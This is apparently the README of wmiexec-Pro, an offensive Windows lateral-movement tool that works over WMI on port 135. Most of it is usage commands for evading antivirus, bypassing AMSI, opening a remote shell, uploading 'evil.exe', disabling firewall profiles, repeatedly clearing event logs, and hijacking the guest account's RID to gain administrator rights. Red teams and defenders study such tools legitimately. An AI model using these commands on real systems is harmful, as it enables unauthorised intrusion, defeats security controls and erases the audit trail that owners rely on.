New generation of wmiexec.py.
The new generation of wmiexec.py, more new features, whole the operations only work with port 135 (don't need smb connection) for AV evasion in lateral movement (Windows Defender, HuoRong, 360)
- Main feature: AV Evasion
- Main feature: No
win32_process
needed - Main feature: Only need port 135.
- New module: AMSI bypass
- New module: File transfer
- New module: Remote enable RDP via wmi class method
- New module: Windows firewall abusing
- New module: Eventlog looping cleaning
- New module: Remote enable WinRM without touching CMD
- New module: Service manager
- New module: RID-Hijack
- Enhancement: Get command execution output in new way
- Enhancement: Execute vbs file
Only need latest version of Impacket
- Clone the impacket repository
git clone https://github.com/fortra/impacket
- Install imapcket
cd imapcket && sudo pip3 install .
- Enjoy it :)
git clone https://github.com/XiaoliChan/wmiexec-Pro
python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h
Basic enumeration:
python3 wmiexec-pro.py administrator:[email protected] enum -run
Enable/disable amsi bypass:
python3 wmiexec-pro.py administrator:[email protected] amsi -enable
python3 wmiexec-pro.py administrator:[email protected] amsi -disable
Execute command:
python3 wmiexec-pro.py administrator:[email protected] exec-command -shell (Launch a semi-interactive shell)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Default is with output mode)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent (Silent mode)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -save (With output and save output to file)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old -save
python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (Remove temporary class for command result storage)
Filetransfer:
python3 wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear (Remove temporary class for file transfer)
RDP:
python3 wmiexec-pro.py administrator:[email protected] rdp -enable (Auto configure firewall)
python3 wmiexec-pro.py administrator:[email protected] rdp -enable -old (For old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rdp -disable
python3 wmiexec-pro.py administrator:[email protected] rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rdp -disable-ram (Disable Restricted Admin Mode)
WinRM (Only support win7+):
python3 wmiexec-pro.py administrator:[email protected] winrm -enable
python3 wmiexec-pro.py administrator:[email protected] winrm -disable
Firewall (Only support win8+):
python3 wmiexec-pro.py administrator:[email protected] firewall -search-port 445
python3 wmiexec-pro.py administrator:[email protected] firewall -dump (Dump all firewall rules)
python3 wmiexec-pro.py administrator:[email protected] firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile enable (Enable all firewall profiles)
python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (Disable all firewall profiles)
Services:
python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
python3 wmiexec-pro.py administrator:[email protected] service -action start -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action stop -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action disable -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action auto-start -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action manual-start -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action getinfo -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action delete -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -dump all-services.json
Eventlog:
python3 wmiexec-pro.py administrator:[email protected] eventlog -risk-i-know (Looping cleaning eventlog)
python3 wmiexec-pro.py administrator:[email protected] eventlog -retrive object-ID (Stop looping cleaning eventlog)
RID Hijack:
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action activate (Activate user)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action deactivate (Deactivate user)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login enable (Enable blank password login)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login disable
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 500 -action backup (This will save user profile data as json file)
python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)
python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user)
-
AMSI module:
- Tal-Liberman's technique from blackhat asia 2018.
-
exec-command module:
- Enhancement of previous project: wmiexec-RegOut, get output from wmi class instead of from registry.
-
filetransfer module:
- For upload: encode the source file as base64 strings into the dropper named
WriteFile.vbs
, then create a new instance of objectActiveScriptEventConsumer
to execute the dropper. - For download: remote create a class to store data, then execute the encoder
LocalFileIntoClass.vbs
to encode the file and store data into the class that just created.
- For upload: encode the source file as base64 strings into the dropper named
-
rdp module:
- For enable/disable: rdp serivces: control
TerminalServices
object directly. - For enable/disable: Restricted Admin Mode: control registry key
DisableRestrictedAdmin
viaStdRegProv
class.
- For enable/disable: rdp serivces: control
-
winrm module:
- For enable/disable: invoke service module.
- For firewall rules: use module
firewall.py
to configure firewall of winrm.
-
firewall module:
- Abusing
MSFT_NetProtocolPortFilter
,MSFT_NetFirewallRule
,MSFT_NetFirewallProfile
classes.
- Abusing
-
service module:
- Abusing
Win32_Service
classes.
- Abusing
-
eventlog module:
- Execute the vbs script file
ClearEventlog.vbs
without removeevent
andconsumer
.
- Execute the vbs script file
-
execute-vbs module:
- Picked from
wmipersist.py
.
- Picked from
-
classMethodEx method:
- For create class: execute the vbs scritp :
CreateClass.vbs
to create simple class. (Why? Have no idea how to usePutClass
method in impacket.) - For remove class: call
DeleteClass
method to remove class.
- For create class: execute the vbs scritp :